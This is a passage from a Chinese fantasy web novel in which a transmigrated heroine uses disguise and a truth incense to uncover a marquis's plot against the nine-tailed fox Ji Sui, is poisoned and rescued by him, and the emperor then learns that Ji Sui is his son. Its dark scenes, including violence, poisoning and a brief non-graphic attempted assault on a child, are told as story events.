按理说,他信任谁都比信任自己这个来历不明的新人来得强。
难道是纪绥行事太过乖张,引起了他的注意。这位秉公无私的侯爷决定大义灭亲,清理门户?
见眼前人不解,定安侯笑了,放下茶杯:“你不承认,我有千万种严刑逼供让你承认。但是小姑娘,我是来求合作的,不想把局面搞这么难堪。”
又解释道:“就像刚才的真言香,任何人在它面前都只能乖乖吐真话。你刚才已经领教过了吧?”
看女子一脸怀疑,他走到颜芷面前,拿出一张有些泛黄的信函抖了抖:“而且,这告发函也是你写的吧?”
“看你一脸不情愿的样子,听说你很憎恨他啊。”
颜芷定睛一看,纸上墨迹有些泛黄,确实她刚到纪府时给缉妖司写的匿名告发函。
是她当时刻意模糊字迹写的没错,原来半月没有音讯是被定安侯拦截下来了。
颜芷冷静下来,磨着绳子的动作停下:“你怎么知道?”
“我自然也在他的府里安插眼线了。”定安侯盯着她,微微笑道:“这位姑娘,我看你并没有法力,只是个普通人。不如我们联手,各取所需怎样?”
颜芷低头,思考对方话里的虚虚实实,这侯爷,竟真心想坐下来和她谈判,而不是直接严刑拷打迫使她从命,只有两个可能。
一,他为人和善,不愿牵连无辜之人。
这种可能性概率极低。
二,看来她身上有他需要的筹码。
“你想要我怎么做?”颜芷镇定发问。看到她解绳子的动作,侯爷摸了摸胡子笑道:“我不需要你做什么,只要乖乖呆在府里就好。七天之后,我自然有办法。”
这是什么奇怪的要求?
颜芷觉得古怪:“他是你的孩子,你没有理由帮我。”
侯爷转过身取下博古架上的香炉:“只是个养子而已。必要时,我可以大义灭亲。”
放下博山炉,缓步离开颜芷:“你好好想想,在这个香烛燃尽之前给我答案。”
*
定安侯捏着玉扳指,一旁的香炉里檀香缓缓升起,是熟悉的白梅香,味道淡而涩,勾起了他久远的回忆。
那时正逢立春,白梅簇簇落下。
他照旧奉皇帝之命搜查失踪皇妃,搜寻了半年却毫无收获,不得不启程返京复命。
回程时却听到了人声嘈杂,打开轿帘,是一户村庄的白梅树前。
从他们争吵的话语中,能听出个狐狸幼崽,因为恩人喂的灵草化形,却因为貌美要被卖给南风倌。因不久前的事,皇帝格外厌恶妖物,引得王室平民避之不及,对于狐妖都是格杀勿论。这种小妖被人奴役欺负都是常有的事。
从他所在方向看去,是一个虎背熊腰的壮汉按住一个小孩,双手作势要扯开衣襟。
被按住的少年明眸皓齿,约莫七八岁的模样,正在奋力挣扎,头上隐约有两只毛绒绒的灰色耳朵时隐时现。
纪云吩咐手下停下,却并不做声,只是默默等着这一幕。
黑脸壮汉拿着一把雪亮的匕首,说的话却极为无耻下流:“小子,你生得这么好看,不如先便宜下大爷我?”
说着便要往少年身上趴。
少年挣扎时发现远处的兵马,投来求救的眼神,却见那位侯爷默不作声,只是负手站在旁边静静等待。
原本充满期翼的眼神很快变成绝望。
真没意思,纪云已经能预料到接下来的发展,负手转身上轿,准备离开。
忽地,噗嗤一声,是硬物入肉的声音,被异响拉回注意力,纪云转向源头。
少年的两只狐狸耳朵彻底露出,面露惊恐地看着自己沾满鲜血的右爪,锋利的爪尖淌下滴滴血水。
那个硬汉已经双目圆睁地倒在他面前,胸前鲜血汩汩流出。
刚才那一击似乎已经用光了他的所有力气,少年后仰倒地昏迷了过去。
侯爷这才命人将少年拉上马车,并捏起
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灰毛狐狸的一缕魂魄,封入了随身携带的收妖囊里。
纪云观察地上昏迷不醒的少年,眉目如画,眼尾微微上扬,闭眼的神态很像一位故人。
马车上,少年悠悠醒来,看到刚才对他求救置之不理的人正坐在对面,好整以暇地看着他。
求生欲让他本能地想要反击。
挥下的利爪却被一把坚固的剑鞘拦住,少年被反身抵在车厢上,硬实的剑鞘在他白皙的脖颈上压出一道红痕。
纪云随手拂过收妖的香囊,魂魄被捏住,少年心痛如麻,只能趴伏在地上,冷汗涔涔。
看狐妖失去了挣扎的力气,他这才放下剑鞘。
少年挣扎不得,吐出的话语破碎带着一丝恨意:“你为什么不直接杀了我?”
他真的搞不懂这些人类,真的应该听阿娘的话,远离这些奸诈之徒。
可冬天猎物锐减,他又实在太饿,偷偷溜下山觅食,这才被逮了个正着。
现下,又被这个人抓起来了,该怎么办?
正想着,肚子却不受控制地叫了起来。
听到狐狸肚子响,纪云恢复笑意,递给他一块馕饼:“为什么要杀你?从你刚才的表现看来,你是个可塑之材。”
他就是刚才见死不救的人,现在又来说什么风凉话。
少年一把推开递来的馕饼,看向侯爷的眼里充满讥讽和憎恶,愤愤道:“虚情假意,那你刚才为什么不救我?”
斯文俊秀的男子轻轻摩挲剑柄,冷漠开口:“我要的并非无用的玩物,而是一件趁手的武器。”
“如果你没有反抗能力,只等待别人出手,那就没有活着的价值。”
*
一柱香刚刚燃尽,定安侯转身看向颜芷:“我的条件,你考虑得如何了?”
颜芷思来想去,总觉得定安侯刚才思索的神情藏着什么了不得的秘密,留下来或许能找到部分线索。
她点头应允:“前提是你要保护我的生命安全,七日之后不得限制我出行。”
时间很紧张,她还需要出去找时机和龙女等人会面,不知现在情况如何。
况且,木灵契已解,她自认对纪绥来说没那么重要,他的喜欢不过是一时兴起,不能当真。
应该从这里想想修正剧情的思路。
得到预想中的回复,定安侯给颜芷倒了杯茶,示意女子饮下:“这药茶有帮助你疗养身体的功效。合作愉快。”
想到这里,纪云不由得叹了口气:“我第一次见到他,他就杀了一个普通人。”
话语带着惋惜和自责:“他本性暴戾,怪我教子无方,没有早日发现他的异常。绝不能让龙珠落入他手,必要时我会扫清门庭,你大可放心。”
听到九尾狐的恶劣事迹,颜芷越发觉得他前几天的行为简直异常。
也许只是突发好心,他本质就是一个恶劣的妖怪,一个小说塑造出来的毁天灭地的大反派,怎么要求他有基本的善恶观?
终于解决了一件事,定安侯欣然离开,边走边盘算下一步棋该怎么走,距离黑气来袭还有一个月,他没有多少时间了。当今圣上沉迷炼丹问药,已经无心理政。
只要在这七天内,刺激九尾狐继续执行计划,还有致胜的可能。
看着侯爷离开的背影,颜芷放下茶杯,直觉不对,总觉得他隐瞒了部分事实。
在侯府的这些天,她虽获得了有限的自由,可以在限定庭院内随处走动,说是保护与合作,但实际上和软禁差不多,再加上侯爷派来的仆人严加看管,她能探寻到的消息少之又少。
掐指一算,明日就要离开侯府了,离大结局祭天大典还有半月时间,她得想办法查到些什么。
直到一个下着暴雨的夜晚,颜芷看到往日一丝不苟的侯爷失魂落魄地钻进祠堂,面容十分狼狈。
那祠堂是定安侯明令禁止任何入内的,也不让下人进去打扫。
怎么回事?难道那里面藏着什么见不得人的秘密?
她想办法支开监视她的仆人,偷偷跟了上去。
26. 诱惑
暴雨敲打在木头窗柩上,奏出沉闷的声响。
颜芷小心翼翼贴近祠堂窗户,在竹纸挖了一个窟窿向内看去,内部一片漆黑,只有供桌前的白烛闪着微弱的火光。
定安侯站在一个灵牌前,定定出神。
烛光闪烁,照映出纪云苍老的面容。
他注视着眼前这块木牌,手指不自觉地抚上阿玖两字的凹字刻痕,视线移到褶皱的手指,莫名有些哀伤。
时光荏苒,他现在已经老了,年迈到有些力不从心,对当年的承诺不知道能撑多久。
刚才去面见了圣上,对方还是一如既往,偶尔上朝,其余时间大多求仙问药。现在朝中不比当年龙争虎斗,其他人的残余支党已被清扫,可谓苟延残喘。
但这即将到来的伏天大典,三十年一遇的黑气,才是重点。
圣上如此顾此失彼,怪不得当年那个人会离开。
纪云想着,又恭恭敬敬地给这个牌子上了三炷香,他出身制香世家,自有受家族熏陶,对于选料配制也算熟能生巧,手到擒来。
安神香,意在安魂固神,希望那个人能安好。他低低呢喃出声:“白玖,你的愿望我会帮你实现。”
想到这时大雨瓢泼,没有人来,纪云难得卸下防备,随意坐在地上,拿起一壶酒畅饮消愁,眉宇间都是落寞。
颜芷盯着他的动作,心中翻江倒海,白玖是谁?难道是他已故的妻子?他要完成她的什么愿望?和纪绥有关吗?或许从这方面下手,能套出他掩盖已久的秘密。
这般想着,颜芷攥紧了衣袖里的香料,定安侯对她如此谨慎,她也未尝没有防备。
那日的真言香,她也留了一些以防不备之需,也许今天就能派上用场。
对了,她还有一次易容机会。
纪云看着窗外的沉沉天色,墨云低垂,惊雷滚过,就着雨声仰头饮了一口酒。
那个逆子知道那女子在他这里,竟然一反常态没有来找他?
莫不是他估计错了,这女子没有他想象的那么重要?
有人的脚步声忽远及近传来。一片湿淋淋的白色衣角出现在他眼前,是哪个不长眼的下人跑进来了,纪云刚想发怒。
自下而上看去,却看到一张朝思暮想求之不得的脸。
“...白玖?你怎么会在这里?”纪云难得失声,嘴唇张合几次才说出她的名字。
眼前的女子巧笑倩兮,一如当年的娇美艳丽,不似真人。不如垂垂老矣的他们,岁月的流逝在她脸上没有留下半分痕迹。
“我来看你啊?你不是很想我吗?”她笑了笑,“既然你不愿意见我,那我现在就走?”她说着便要转身,裙摆一转,如同展翅的蝴蝶,马上就要飞走。
怎么会?纪云心下急迫,顾不得礼仪轻攥住女子的裙摆,“不要走。”
这位外人面前不显于色的侯爷难得露出哀求神色。
听到他这句话,背过身的颜芷舒了口气。她不熟悉这个人的性情,只听了名字就模糊模仿,幸亏定安侯醉了酒,否则以目前拙劣的演技,如果对她的出现有所怀疑,再展开几次拉锯战的话,易容的时间真的不够用。
她稳了稳心神笑道:“我吓你的。我们玩个游戏吧。”边说着,她边转过身,示意侯爷落座。
定远侯虽然疑惑倒也听话,乖乖地在一旁坐下。说实话,他对白玖阔别多年第一时间没有去见圣上而是来见自己是有些惊喜的。而且她还是一如既往地调皮,巨大的欣喜冲昏了他的头脑,以至于没有力气去思考白玖为什么要这样做。
颜芷见侯爷落座,示意他闭眼,和定安侯说话打岔转移注意力,先拿走他放在桌上的玉牌,又拿出眼罩将他眼睛蒙上,打了个死结,又找出准备好的绳子,将侯爷全身四肢绑了个结结实实,确保对方一时半会儿挣脱不开后,这才放下心来,点燃了真言香。
纪云盯着眼前模模糊糊的人影,不知道她在干什么,直到闻到熟悉的墨兰香味,才有所警觉:“你不是她?你究竟是谁?”
颜芷早已戴上特制面衣,看着燃烧飞快的线香,不敢浪费这宝贵的时间,盯着他紧急提问:“你要龙珠做什么?”
定远侯因为没有佩戴特制香袋,猝不及防中了招,定定答道:“大宴朝祭天大典时黑气会达到最盛。龙珠是净化黑气的最好解药。”
颜芷一愣,没想到他的目的竟然是这样。想起这个,她拧紧眉头:“纪绥是否有参与你的计划?”
侯爷默默点头:“纪绥是这个计划的第一步。让能接收负面情绪的九尾狐吞噬全部黑气,再用至纯至净的龙珠连同它一起净化掉,这样大宴朝将永世不受黑气威胁,不会再有黑气定期来袭的烦扰。”
原来如此。竟然如此。怪不得他一直在吸收黑气,那几条白色尾巴也在一条一条变黑。
颜芷没有察觉到自己的声线有些颤抖:“你用什么东西控制他的?”
定远侯机械地举起了右手,亮出手上的扳指。右手拇指上的翠玉扳指闪烁着冰冷的色泽,光华流转,一抹如玉白色缓缓游动,“这里面藏着他的一缕魂魄,可使他受我控制。”被迷香所定远侯还将解咒方法老老实实说了出来。
好消息,这正是完成任务的好机会。拿到它离回家任务更近一步了。真是踏破铁鞋无觅处,得来全不费功夫。有心栽花花不开,无心插柳柳成荫。颜芷小心翼翼取下定远侯手上的扳指。赶忙收拾行装准备逃跑。
瞥到香烛即将燃尽,颜芷抓住机会问出困扰她许久的问题:“你第一次见纪绥,他因何杀人?”
定远侯:“有人要猥亵他,而我见死不救。”
那一刻,她如遭雷击,瞬间觉得天旋地转,原来是这样吗?
颜芷第一次觉得,在那个无恶不作的反派面前,自己的理直气壮也变成一种残忍。如果说这一切就是一场筹谋已久的棋局,他是其中的一个棋子,他们从来没给过他选择的机会,那她该怎么理所当然地惩奸除恶?
她无心思考,只顾麻木地向前迈步,却在迈出门槛的时候听到身后人沉沉咳嗽:“姑娘,你当真要走出这个门?这屋子里有特制香毒,没有我的帮助,不出五日,你很快就会因五脏六腑溃烂而死。”
“不信?你看看手上。”定安侯捂着胸口,很快辨认出颜芷的背影,没想到这个看起来弱不禁风的女子竟然如此多事,真是小瞧她了。
颜芷皱眉,低头看着手腕上一条黑色血线自下而上蔓延。真是一套又一套,怪不得这定安侯祠堂附近都没人看守,她还是大意了。
不管了,拿到扳指了,还是先离开要紧。
颜芷低头看着掌心躺着的翠玉扳指,里面的白色魂魄像是嗅到了自由的气息,时而像一尾游鱼欢快地在碧绿湖水里游动,还停下来低头又仰头,一点一点的样子,像是在感谢。
胸口不知为何莫名颤动,她想了想,还是毅然走出这门槛,靠着定安侯的手牌,很快左穿右行出了侯府。
脱力的定安侯没想到这个丫头如此不顾性命,强行攀援着起身,刚打开窗门派出贴身暗卫暗杀颜芷,自己也要带领大批人马上阵去追时候,却见皇帝从一旁侧门走出,眼中是从未见过的愠怒。身后精锐兵马众多,而在他
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身后不远处站着的,正是许久未见的纪绥。
“陛下,您因何来此?”纪云没想到宸明帝会来这里,他此刻不应该在酒宴上大宴群臣吗?
“朕收到你养子举报,说你私自豢养妖怪。你可知道,身为朝廷重臣,驯养妖怪,罪加一等。”听到这一番话,看到纪绥倚着门冷漠的表情,纪云怒火中烧,这疯子,不知道举报他是砸自己脚吗,纪云低着头,刚想捏住右指的翠玉扳指惩罚,恨不得让这个疯狐狸即刻现形,才恍然意识到扳指已经被偷走。电光石火间,他想到一箭双雕的计策。
“陛下恕罪,臣已知错,恕臣未能及时禀报,那妖女已经往东南方向跑了。”纪云抬首,颤巍巍指向一处,那方向正是颜芷刚才逃离的方位。他的动作一晃,恰好露出身后的木牌。他抬头,想看那逆子作何反应,却发现他已然消失不见。
皇帝冷漠向后一摆手,刚想扭头,却恍然瞥见木牌上的字,眸色一惊,恍若寒冰:“纪云,当年你助阵登上帝位后,就请病辞官。是朕念你从龙有功的份上给你特许异姓封侯,放权给你。”他面色有些阴鸷,但依然不减损他的俊美,“而你身为臣子,非但不知感恩,私自祭祀朕的皇妃,可真是大逆不道啊?”
逃跑路上,易容成白玖的颜芷骑着骏马狂奔,被身后冷箭不时逼得拐道,很快要被身后追兵追上时,却见他们不约而同停下了步伐,冷笑着看着自己身后的黑雾,颜芷想悬崖勒马,却一头扎进了黑色迷雾里,浓烈的窒息感将她包围。
颜芷再睁开眼,骏马已不见踪迹,自己躺在地上连站起来的力气都没有,身边黑气缭绕,身上伤口隐隐作痛。她好像误入了另外一个世界,寂静地只能听到自己的心跳声。黑气仿佛有了自主意识,争先恐后往她身上扑,颜芷本就流血的伤口更加疼痛难忍。
不会有人来救你的,你一直以来就只能靠自己,不是吗?
她看着手边的黑气和全身鲜血淋漓的伤口,暗自嘲笑自己,看来这次真的撑不下去了。
只是有点不甘心,她不管在哪里一直在努力挣扎求生,一直想努力活下去,没想到却在这个不知名的虚构小说里如此悄无声息地死去。
没一个人会记得她。
也好,她真的累了。
她闭上眼静静等待死亡,却惊觉身上的疼痛减轻了一点,有一声低低的狐狸呜咽声传来。
颜芷定睛一看,原来是掌心里的翠玉扳指里的白色游魂一开始还费力吞吃,直到变成墨黑色,无力地蜷成一团,像一只脆弱的小狐。
“叮,你已进入黑气林,不久就会被黑气完全吞吃掉成为其中一员。请宿主做出抉择,捏碎九尾狐魂魄令其自杀或用鲜血引出魂魄让其解脱。”许久未上线的系统突然开口,“宿主可以控制九尾狐自杀直接回家。”
“别打岔,”颜芷心乱如麻,看着手心里瑟瑟发抖的游魂怎么也下不了手,这倒霉系统一上线准没好事。
“快啊,只要捏碎他,你就能回家了,你不是一直想摆脱这个烂尾故事吗?”
“现在就是最好的机会,快啊。”一直装死的系统像是打了鸡血,还在不知疲倦地蛊惑。
颜芷闭眼又睁眼,终于做了一个顺从心意的决定,她费力将血淋淋的手指递向扳指里的黑色小狐,默默念道我给你自由,我给你选择的自由,就当还他保护自己了。
看到小狐大口吞吃的样子,颜芷勉强笑了下,即将闭上眼,
却在模糊的黑色剪影中,看到一个从没设想过的人。
真奇怪,她一定是出现幻觉了,否则怎么会看到那个人惊慌失措的脸?
27. 血味
那人的脸并不清晰。
昏昏沉沉,五感意识朦胧中,颜芷听到那人脚步声离自己越来越近。
她感觉到沉重的身体被轻轻托起,努力睁开并不清明的眼睛,看到纪绥发红的眼圈。昔日谈笑自如的他现在却有些慌张,手忙脚乱地扶起颜芷,让她斜倚在自己怀里,在颜芷身上快速点穴几下,止住了她不断流血的七窍。
他身后的尾巴嘭的爆开,围在她身边的黑雾退避三舍,不再像之前那样嚣张,反而争先恐后地逃窜,但还是被像长了眼睛的尾巴毫不留情地抓了回来。
原来真的是纪绥,好看的眉目紧紧拧着,颜芷看到他眼中倒影出自己面容狼狈的脸,面具早已消失,他紧紧握住她的掌心,像是攥住什么稀世珍宝一般。
他来救她了。
“你为什么要来救我?”颜芷感觉到周身奔流不息的痛苦和黑气有了归处,慢慢汇入握着自己手心的男人手中,而不出意料地,他的白色尾巴现下已染黑八尾,刚才还张牙舞爪的黑气此刻受到召唤,像溪流回奔泉眼般迅疾无声。
她不相信有人会这样不计后果地喜欢她。而且他明明可以不用做到这个地步。
纪绥不说话,只是一言不发地操作,颜芷感到窒息的胸闷感渐渐有所消失,麻痒的感觉涌动到喉头,但手臂上的血线不知为何越发疼痛。
“你是怎么找到我的?”颜芷吐出一口黑色的淤血,看到这污血染脏了胸前的大片衣襟,马上就要滴落到纪绥的身上,她挣扎着想从他怀中起来。
纪绥看着她的动作,眼中闪过一丝痛楚。他意识到如果再不回答,眼前人动作更甚,答道:“你的血味。我对你的血味很熟悉。”他说着,一手把她嘴边的污血擦去,一手强势地按住她起身的动作。
听到这个,颜芷朦胧的大脑恢复片刻清明,她猝不及防想起之前用面具伪装的时候,他也能毫不费力地认出自己,看来自己的血味从来没有瞒过他。
“你可知道,我一开始就是来杀你的。”颜芷开口,她的意图如此明显,不相信他不知道这个。有人会爱上一个杀自己的人吗?还是他已经知道了扳指的下落,特意为这个来找她的?
听到这里,纪绥不以为意:“我知道,我当然知道。”终于处理好烦人的黑气,他反手握拳,眼里划过莫名的复杂,沉沉开口:“你是第一个对我如此执着的人,所以只能死在我手里。”他起身,弯下腰准备抱起颜芷回府。
颜芷使尽力气拽住他的袖子,将那枚玉扳指塞到他手中,她能感觉到沿着手臂上经脉传来钻心刺骨的疼痛,像是千万根针同时扎入皮肤,疼得她呼吸不过来“这是你的魂魄,给你自由的选择。”抬手之间,露出白皙手臂上的黑色血线,此刻已经蔓延到小臂上方,“放心。我活不了那么久了。”她说完这句话,就支撑不住彻底昏迷过去。
纪绥刚闻声转过头来,瞥见她胳膊上的黑色血线,瞳孔骤缩。他手心里的小狐魂魄终于回归到主人身边,激动地上蹿下跳。
*
世子府邸,到处浓烟滚滚,飘满药材的清苦味道。
一碗黑乎乎的汤药炮制完毕,下人捂着口鼻端着汤药罐小碎步跑向邀月轩,推开房门,就看到了守着木床寸步不离的世子和一旁战战兢兢的太医。
明明是深秋寒凉天气,那太医却额头不住地冒汗,时不时拿起随身携带的布巾擦汗,忐忑地看着世子接过药碗,拿过汤匙一口一口地喂着床上的女子。
一碗汤药下去,女子依旧状态如常,苍白脸色不减。太医隔着纱帘搭上女子的手腕,把脉完毕之后,脸色又难看了几分,开口:“世子殿下,在下实在是无能为力。”他在从医数年的职业道德和说谎话的活命良心之间挣扎了一会儿,还是选择将实话说出口,“姑娘已病入骨髓,非人力之所及,或天命也。”
又是这样,这已经是第十一位这样说了。纪绥面色难看,脾气刚想发作,想了想又忍住想杀人的冲动,他单手支着额头,挥手示意下人给大夫带出去。
下人照例给了太医赏金让他离开,太医看着黄灿灿的金子一脸错愕,没想到刚才的冒死“进谏”没有人头落地的危机,反而还得了几两黄金,太医捂住怦怦乱跳的心脏,头也不回地离开了这个是非之地。万一这喜怒无常的世子突然反悔,他脑袋可不够砍的。
房间里,纪绥握着颜芷的手贴向额头,感受着她微弱的脉搏。他不是傻子,就是因为自己用妖力也救不了眼前这个脆弱的人类躯壳,才到处重金求或绑名医诊治,没想到都是一个结果。
他冷静了一会儿,捏起床边那枚白玉扳指,是颜芷昏迷前交给他的。他早知道义父用了手段控制他,也生出过心思谋夺那枚扳指,没想到她拿到了,没有利用这个机会杀他,反而还给了他。
他翻来覆去地看着这枚早已失效的玉扳指,心里泛起一股难言的甜蜜。
她主动把这个给了他,是喜欢他的吧?是想救他的吧?那他呢,他到底应该怎样才能救她?
颜芷做了一个长长的梦,梦里的她仿佛又回到了坠海那日,黑色的海水将她包裹住,拉扯着她不停往下坠,前所未有的孤独和绝望感充斥胸腔,直让她喘不过气来。
画面切换,她又看到好久不见的孤儿院院长,看到还是小时候的自己一脸泪水对黑色西装的中年女人吐露心声:“院长妈妈,你说实话,他们是不是不想要我,他们真的不要我了是不是?”她抓着那只小小的兔子,渐渐低下了头,也越来越没有底气:“院长妈妈,我都听到了,他们说我是没人要的杂草。”
院长叹了口气,拿过书桌上的诗词总选,翻到其中一页指给她看,温柔地劝慰道:“怎么会?你看,先秦著名诗人屈原的《离骚》中说,扈江离与辟芷兮,纫秋兰以为佩。”她摸着小颜芷的头,柔声说:“芷是一种高洁的香草。哪个父母会不爱自己孩子,却花心思给孩子取这么好听的名字呢?”
“扈江离与辟芷兮,纫秋兰以为佩。”颜芷被她有理有据的话说服,不是很熟练地跟着一字一句念了下这句很拗口的诗词,而后似懂非懂地看向院长。
戴着黑框眼镜的院长,看着她的目光深邃:“小芷,你以后也要做一个品行高洁的人啊。”
画面又一转,她看到了纪绥,对方一头银发,眼精已经变为血红,九条黑色尾巴在他身后张开,他稍微走动。毁天灭地的威压铺天盖地而来,所到之处片瓦无存。
他好像在看着她,又好像在看着远方,虽然他面无表情已经失去神志,她却能感受到潜藏其中的万般痛苦和压抑。
对方突然停下,定定看向她,倏地,一挥衣袖,几条尾巴擦脸而过,颜芷听到身后人熟悉的痛呼,她扭头,看见龙女和捉妖人心脏被穿刺,刺目的血红蔓延开来,两人被巨大的尾巴高高吊起,脸色僵白,像两具风中飘摇的无主风筝。
他最终还是做了这样的选择吗?可她分明看出他是不愿意的啊?
为什么会这样?为什么要这样?
“不要!不要......”颜芷想开口阻止,却发现自己发不出半点声音。她跑过去,想拽住那尾巴,那尾巴力大无穷,将她毫不留情地甩飞到地上,很快又袭击向第三人。“不要!”颜芷用尽全力推开那尾巴。
纪绥倚靠在床,左手托着下巴,半睡半醒
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之间,被昏迷中的颜芷打掉相握的右手,他惊讶地抬眼看向眉头紧皱的女子,苍白的嘴唇不断闭合:“不要,不要......”
她这是做了什么噩梦?纪绥一愣,身体先于意识做出反应,想再次握紧她的手表示有他在,却被毫不留情地一手挥开。锥心刺骨的疼痛和酸涩如藤蔓无限蔓延开来,将他的心脏扎得通透。
他不敢再靠近,定定看着昏睡不醒的女子半晌,苦笑了下。
她就是这样,即使在无意识状态下,也知道怎么伤他的心。
他就这么让她讨厌吗?
“陛下有令,宣纪绥世子即刻入宫,有要事相商。”突兀的声音打破了纪绥的思考。
纪绥抬头看了眼窗外的天色,朗月高悬,现在已是深夜,殿下有何事急召他入宫?
算了,她一直昏迷不醒,没准入宫会有新的线索。
他回头看了沉睡的女子一眼,而后离开。
*
雕龙绘凤的皇宫大厅,成千数百盏灯火将原本晦暗的大厅照得亮如白昼。
宸明帝坐在龙椅上,将奏折重重摔在桌案上,狭长凤眼冷冷俯视底下跪着被五花大绑的中年男子,他本就气质阴郁,阴晴不定的脸色让金碧辉煌的大厅都添上几分压抑。
“纪云,你有什么想说的吗?”经过这两天的调查,他培植的暗卫已经将纪云所做之事查了个底朝天。他近年来是沉迷酒色,无心理政,但并不代表他手下都是一群酒囊饭袋,该查的都查个明白。纪云身为定安侯,竟然违背当朝政令,私自豢养妖物,还派膝下养子到处搜集黑气,这是要反了天不成?
“臣无可辩驳。”纪云虽然此时已经沦为阶下囚,但身姿依旧挺拔如松竹,回答道:“臣是搜集黑气不假,但只为大宴朝此后免受黑气侵袭之苦,才出此下策。”他话说到此,以头抢地咚咚作响:“陛下,您也知道马上要到祭天大典了。”
农历八月十六是祭天大典,每逢这一天,都会黑气大临。三十年前有那件事,黑气骤然减弱,但已逐渐恢复,近年骤增,也注定今年黑气会格外凶猛。收服黑气有一法,用法力高强的狐妖尾巴为引,引黑气入体,。
那纪云还不死心,额上血流如注,说着:“臣与娘娘并无私下纠葛,只是想完成娘娘的心愿。这也是天下人的心愿。”
听到这里,宸明帝压抑不住内心的愤怒,将大批奏折劈头盖脸砸到纪云身上:“这就是你想出来的好主意,而且你还敢跟我提她?”他当年满心满眼喜欢她,为她做了多少事,却被她无情抛弃,至今下落不明。她把他的真心随意践踏,他恨她还来不及,凭什么完成这只狐妖的心愿?这狐妖,他恨不得她死得更快一些。
纪云再开口:“没准儿,她离开您是有隐情。”他想起她,又不住想为她辩解,“那黑气之事,再拖不得啊!”
一旁的暗卫看这剑拔弩张之势,大着胆子开口:“皇上,奴才有一事不知该不该禀告?”得到皇帝冷冷一眼,不敢拖延说道:“那天追捕时,属下看那女子与画中的白玖娘娘颇为相似。”他之前看到过白玖娘娘的画像,简直一模一样。
得到这一消息,帝王皱眉,颇有深意地看了定远侯一眼。
纪云挣扎开口,周身铁链哗哗作响:“陛下,那只是那丫头施的幻术,当不得真。”多年计划功败垂成就在此刻,岂能因为这个玩笑就此作罢。
“你瞒着我做了多少事?凭什么会以为我还信你?”
一名太监:“定安侯之子纪绥启禀陛下,纪绥世子到!”
帝王点头,对着纪云那侧后方的暗卫摆手,示意把他拖入大牢等候发落。
28. 礼物
灯烛明黄,照在帝王阴鸷的脸上,投下不明的光影。宸明帝坐在龙椅上,单手支着额头,不紧不慢地按揉隐隐作痛的太阳穴,看着座下的俊美青年,神色恹恹:“纪爱卿,你这么聪明,可知孤为何半夜唤你前来?”
纪绥双手作揖,态度谦恭:“微臣不知,臣不敢擅自揣测圣上心意,但求陛下解惑。”
他身着黑色朝服,的确是匆匆赶来,衣服上还带着深秋的夜露。
宸明帝斜睨着他,随意展开御案上的奏折:“你这次举报定安侯私藏妖物,证据确凿,实属大义灭亲,也算立了大功,可想要什么奖励?”奏折展开的声音哗啦作响,在空旷的寝殿内尤为刺耳。
被嘉奖的男子不曾抬眼,态度依然恭敬:“殿下过奖,大宴朝饱受妖患多年,殿下英明治国有方,灭妖乃是臣的本分,不敢掠美。”
听到这番话,宸明帝才扭头看向这个他一直不曾关注过的年轻人:“纪绥,你很聪明。但我不希望这份聪明会害了你。”他放下奏折,语气淡淡:“于理,你帮助扫除妖祟,算功劳一件。于情,你连多年生父都敢举报,也算铁石心肠,我怎么敢重用你?”他直起腰,身子向前微倾,两眼定定盯着脊背挺直的年轻人:“孤很好奇的是,你既然搜集纪云私养妖物证据多年,为何选择在最近几日爆出来?是谁,促使你下了这个决定?”
“难道是为了找一个人?听说你那日去定安侯府为了找一个女子。”他并不等对方的回答,拿起奏折敲了敲御案,自问自答道。近几日,手下的探子格外忙碌,除了整理定远侯手下的事务,探听到了那日纪绥去找人,也从郊外带回一个面容狼狈的女子,还对那女子严加看管,精心照料。
“你很聪明,懂得审时度势,你到底想得到什么?”
被他问话的臣子这才抬起眼,直直撞上他问询的目光。恍惚间,这相似的眼睛让宸明帝想起一位故人。眼神也和她很像,很像他那位不知下落的皇妃......
绝不可能,想法萌生出来的瞬间,这位唯我独尊的帝王就自行掐灭了这个念头。它像是一根能点燃薪火库的引线,稍有不慎就能掀起漫天怒火,他不容许自己再想下去。
宸明帝敛去眼底一闪而逝的戾气,默默等待这个年轻人的回答,看他如何辩白。
没想到纪绥神色平静,也不回避他的问题,目光坦然:“是,我是为了找一个人。”下一秒,他的回答像石子落入湖面,惊起巨大的波澜。“我不是纪云的孩子,只是一个养子,被我娘抛弃后被他收养。”此话一出,宸明帝向来平静的脸庞出现裂痕。
“她身中剧毒,臣恳请陛下准许我见定安侯一面,求其解药。”纪绥嘴上恭敬回话,心里却在暗自琢磨。现在虽然已经恢复全部妖魂,但宸明帝饮酒作乐多年,皇宫里能人异士颇多,他对付起来也颇费一些功夫,所以还是能动嘴还是不要动手为好。
现下,她的伤拖不得,再拖下去恐怕有丧命的风险。他正想着该如何让这皇帝相信他的说辞时,却被没头没脑问了一句。
“你可还记得你娘叫什么?”
“白玖。”因为还在想着别的事,他下意识脱口而出。古怪,这老头问他娘的名字做什么?
“你之前叫什么名字?”
“我娘只给我取了一个单字,绥。”
耳边如同天降惊雷,宸明帝脸色剧变,快步走到他旁边,立刻拽起他的衣袖查看。他的左小臂上有一道浅粉色的斜痕。是当年的......
“你的绥字是怎么来的?”
“绥绥白狐,九尾庞庞,我娘说过这句话。”其实,不管谁给他取的名字都无所谓,他们抛弃他是事实,利用他也是事实。所以跟谁姓叫什么名字都无所谓。
“成于家室,我都攸昌。”宸明帝目光闪烁,她还记得这个。那证明她是不是?想到这里,他无处安放的怒火有平息一些......
“是孤的孩子!”
他沉默许久,眼神波动,伸出的手有些颤抖:“我和你娘伉俪情深,当年她深爱我,却不知所踪......”
这突如其来的消息太过意外,纪绥一时无言。
“我可以让你去见纪云,但前提是戴上这个。帮朕找到龙珠,荡平黑气。”宸明帝转身按下机关,从御案下取出一件红绸包裹的东西,珍而重之地递给纪绥。
层层红绸之下包裹着一个硬物,纪绥打开一看,是一个暗金色的项圈,可能因为年代久远,已经看不分明颜色,隐约能看见上面的一些各色碎石珠宝,握在手里有些发烫。
光是触摸它,就能感受到上面传来源源不断的热度,和自身妖力相斥。他不适地轻微蹙起眉,看向宸明帝,眼里划过一丝不解。
“现在皇位已定,孤为了大局,没有什么能给你的。”宸明帝沉沉开口,略显慈爱地看着这个儿子,“我和你娘伉俪情深,这璎珞圈,是当初你未降生时,我和你娘共同设计的,为你打造的庆生礼。”
“她如果在的话,也会希望你戴上。”
“我不需要什么权力,只要您满足我这个请求就好。”纪绥礼貌应答,在宸明帝期翼的目光下戴上了这个尺寸偏小的项圈,脖颈有些窒息。
